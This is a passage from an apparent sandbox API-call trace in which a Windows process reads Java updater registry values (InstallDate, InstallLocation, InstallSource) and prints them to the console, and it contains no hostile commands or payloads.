CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.699] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.699] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.699] GetProcessHeap () returned 0x3c0000 [0149.699] GetProcessHeap () returned 0x3c0000 [0149.699] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.699] GetProcessHeap () returned 0x3c0000 [0149.699] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.699] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.699] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.699] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.700] GetProcessHeap () returned 0x3c0000 [0149.700] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.700] GetProcessHeap () returned 0x3c0000 [0149.700] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.700] GetProcessHeap () returned 0x3c0000 [0149.700] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.700] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0149.700] __iob_func () returned 0x7fefd702a80 [0149.700] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.700] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.700] _fileno (_File=0x7fefd702ab0) returned 1 [0149.700] _errno () returned 0x204bb0 [0149.700] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.700] _errno () returned 0x204bb0 [0149.700] GetFileType (hFile=0x50) returned 0x1 [0149.700] lstrlenW (lpString=" ") returned 4 [0149.700] GetConsoleOutputCP () returned 0x1b5 [0149.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.700] GetConsoleOutputCP () returned 0x1b5 [0149.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.700] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.700] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.700] lstrlenW (lpString="InstallDate") returned 11 [0149.700] __iob_func () returned 0x7fefd702a80 [0149.700] _fileno (_File=0x7fefd702ab0) returned 1 [0149.700] _errno () returned 0x204bb0 [0149.701] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.701] _errno () returned 0x204bb0 [0149.701] GetFileType (hFile=0x50) returned 0x1 [0149.701] lstrlenW (lpString="InstallDate") returned 11 [0149.701] GetConsoleOutputCP () returned 0x1b5 [0149.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.701] GetConsoleOutputCP () returned 0x1b5 [0149.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.701] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.701] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.701] __iob_func () returned 0x7fefd702a80 [0149.701] _fileno (_File=0x7fefd702ab0) returned 1 [0149.701] _errno () returned 0x204bb0 [0149.701] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.701] _errno () returned 0x204bb0 [0149.701] GetFileType (hFile=0x50) returned 0x1 [0149.701] lstrlenW (lpString=" ") returned 4 [0149.701] GetConsoleOutputCP () returned 0x1b5 [0149.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.701] GetConsoleOutputCP () returned 0x1b5 [0149.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.702] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.702] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.702] __iob_func () returned 0x7fefd702a80 [0149.702] _fileno (_File=0x7fefd702ab0) returned 1 [0149.702] _errno () returned 0x204bb0 [0149.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.702] _errno () returned 0x204bb0 [0149.702] GetFileType (hFile=0x50) returned 0x1 [0149.702] lstrlenW (lpString="REG_SZ") returned 6 [0149.702] GetConsoleOutputCP () returned 0x1b5 [0149.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.702] GetConsoleOutputCP () returned 0x1b5 [0149.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.702] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.702] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.702] __iob_func () returned 0x7fefd702a80 [0149.702] _fileno (_File=0x7fefd702ab0) returned 1 [0149.702] _errno () returned 0x204bb0 [0149.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.702] _errno () returned 0x204bb0 [0149.702] GetFileType (hFile=0x50) returned 0x1 [0149.702] lstrlenW (lpString=" ") returned 4 [0149.702] GetConsoleOutputCP () returned 0x1b5 [0149.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.703] GetConsoleOutputCP () returned 0x1b5 [0149.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.703] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.703] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.703] __iob_func () returned 0x7fefd702a80 [0149.703] _fileno (_File=0x7fefd702ab0) returned 1 [0149.703] _errno () returned 0x204bb0 [0149.703] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.703] _errno () returned 0x204bb0 [0149.703] GetFileType (hFile=0x50) returned 0x1 [0149.703] lstrlenW (lpString="20170630") returned 8 [0149.703] GetConsoleOutputCP () returned 0x1b5 [0149.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.703] GetConsoleOutputCP () returned 0x1b5 [0149.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0149.703] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.703] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.703] __iob_func () returned 0x7fefd702a80 [0149.703] _fileno (_File=0x7fefd702ab0) returned 1 [0149.703] _errno () returned 0x204bb0 [0149.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.704] _errno () returned 0x204bb0 [0149.704] GetFileType (hFile=0x50) returned 0x1 [0149.704] lstrlenW (lpString="\n") returned 1 [0149.704] GetConsoleOutputCP () returned 0x1b5 [0149.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.704] GetConsoleOutputCP () returned 0x1b5 [0149.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.704] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.704] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.704] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.704] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.704] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.704] GetProcessHeap () returned 0x3c0000 [0149.704] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.704] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.704] __iob_func () returned 0x7fefd702a80 [0149.705] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.705] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.705] _fileno (_File=0x7fefd702ab0) returned 1 [0149.705] _errno () returned 0x204bb0 [0149.705] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.705] _errno () returned 0x204bb0 [0149.705] GetFileType (hFile=0x50) returned 0x1 [0149.705] lstrlenW (lpString=" ") returned 4 [0149.705] GetConsoleOutputCP () returned 0x1b5 [0149.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.706] GetConsoleOutputCP () returned 0x1b5 [0149.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.706] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.706] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.706] lstrlenW (lpString="InstallLocation") returned 15 [0149.706] __iob_func () returned 0x7fefd702a80 [0149.706] _fileno (_File=0x7fefd702ab0) returned 1 [0149.706] _errno () returned 0x204bb0 [0149.706] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.706] _errno () returned 0x204bb0 [0149.706] GetFileType (hFile=0x50) returned 0x1 [0149.706] lstrlenW (lpString="InstallLocation") returned 15 [0149.706] GetConsoleOutputCP () returned 0x1b5 [0149.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.706] GetConsoleOutputCP () returned 0x1b5 [0149.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.706] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.706] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.706] __iob_func () returned 0x7fefd702a80 [0149.706] _fileno (_File=0x7fefd702ab0) returned 1 [0149.707] _errno () returned 0x204bb0 [0149.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.707] _errno () returned 0x204bb0 [0149.707] GetFileType (hFile=0x50) returned 0x1 [0149.707] lstrlenW (lpString=" ") returned 4 [0149.707] GetConsoleOutputCP () returned 0x1b5 [0149.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.707] GetConsoleOutputCP () returned 0x1b5 [0149.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.707] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.707] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.707] __iob_func () returned 0x7fefd702a80 [0149.707] _fileno (_File=0x7fefd702ab0) returned 1 [0149.707] _errno () returned 0x204bb0 [0149.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.707] _errno () returned 0x204bb0 [0149.707] GetFileType (hFile=0x50) returned 0x1 [0149.707] lstrlenW (lpString="REG_SZ") returned 6 [0149.707] GetConsoleOutputCP () returned 0x1b5 [0149.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.707] GetConsoleOutputCP () returned 0x1b5 [0149.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.708] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.708] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.708] __iob_func () returned 0x7fefd702a80 [0149.708] _fileno (_File=0x7fefd702ab0) returned 1 [0149.708] _errno () returned 0x204bb0 [0149.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.708] _errno () returned 0x204bb0 [0149.708] GetFileType (hFile=0x50) returned 0x1 [0149.708] lstrlenW (lpString=" ") returned 4 [0149.708] GetConsoleOutputCP () returned 0x1b5 [0149.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.708] GetConsoleOutputCP () returned 0x1b5 [0149.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.708] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.708] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.708] __iob_func () returned 0x7fefd702a80 [0149.708] _fileno (_File=0x7fefd702ab0) returned 1 [0149.708] _errno () returned 0x204bb0 [0149.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.708] _errno () returned 0x204bb0 [0149.708] GetFileType (hFile=0x50) returned 0x1 [0149.708] lstrlenW (lpString="") returned 0 [0149.708] __iob_func () returned 0x7fefd702a80 [0149.708] _fileno (_File=0x7fefd702ab0) returned 1 [0149.708] _errno () returned 0x204bb0 [0149.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.708] _errno () returned 0x204bb0 [0149.709] GetFileType (hFile=0x50) returned 0x1 [0149.709] lstrlenW (lpString="\n") returned 1 [0149.709] GetConsoleOutputCP () returned 0x1b5 [0149.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.709] GetConsoleOutputCP () returned 0x1b5 [0149.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.709] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.709] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.709] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.709] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.709] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x62) returned 0x0 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x64) returned 0x3db830 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.709] GetProcessHeap () returned 0x3c0000 [0149.709] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x64 [0149.709] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x62 | out: pdwType=0x29f700*=0x1, pvData="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\", pcbData=0x29f780*=0x60) returned 0x0 [0149.709] __iob_func () returned 0x7fefd702a80 [0149.709] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.710] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.710] _fileno (_File=0x7fefd702ab0) returned 1 [0149.710] _errno () returned 0x204bb0 [0149.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.710] _errno () returned 0x204bb0 [0149.710] GetFileType (hFile=0x50) returned 0x1 [0149.710] lstrlenW (lpString=" ") returned 4 [0149.710] GetConsoleOutputCP () returned 0x1b5 [0149.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.710] GetConsoleOutputCP () returned 0x1b5 [0149.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.710] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.710] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.710] lstrlenW (lpString="InstallSource") returned 13 [0149.710] __iob_func () returned 0x7fefd702a80 [0149.710] _fileno (_File=0x7fefd702ab0) returned 1 [0149.710] _errno () returned 0x204bb0 [0149.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.710] _errno () returned 0x204bb0 [0149.710] GetFileType (hFile=0x50) returned 0x1 [0149.710] lstrlenW (lpString="InstallSource") returned 13 [0149.710] GetConsoleOutputCP () returned 0x1b5 [0149.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.710] GetConsoleOutputCP () returned 0x1b5 [0149.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0149.711] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.711] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.711] __iob_func () returned 0x7fefd702a80 [0149.711] _fileno (_File=0x7fefd702ab0) returned 1 [0149.711] _errno () returned 0x204bb0 [0149.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.711] _errno () returned 0x204bb0 [0149.711] GetFileType (hFile=0x50) returned 0x1 [0149.711] lstrlenW (lpString=" ") returned 4 [0149.711] GetConsoleOutputCP () returned 0x1b5 [0149.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.711] GetConsoleOutputCP () returned 0x1b5 [0149.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.711] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.711] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.711] __iob_func () returned 0x7fefd702a80 [0149.711] _fileno (_File=0x7fefd702ab0) returned 1 [0149.711] _errno () returned 0x204bb0 [0149.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.711] _errno () returned 0x204bb0 [0149.711] GetFileType (hFile=0x50) returned 0x1 [0149.711] lstrlenW (lpString="REG_SZ") returned 6 [0149.711] GetConsoleOutputCP () returned 0x1b5 [0149.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.712] GetConsoleOutputCP () returned 0x1b5 [0149.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.712] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.712] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.712] __iob_func () returned 0x7fefd702a80 [0149.712] _fileno (_File=0x7fefd702ab0) returned 1 [0149.712] _errno () returned 0x204bb0 [0149.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.712] _errno () returned 0x204bb0 [0149.712] GetFileType (hFile=0x50) returned 0x1 [0149.712] lstrlenW (lpString=" ") returned 4 [0149.712] GetConsoleOutputCP () returned 0x1b5 [0149.712] WideCharToMultiByte (in: 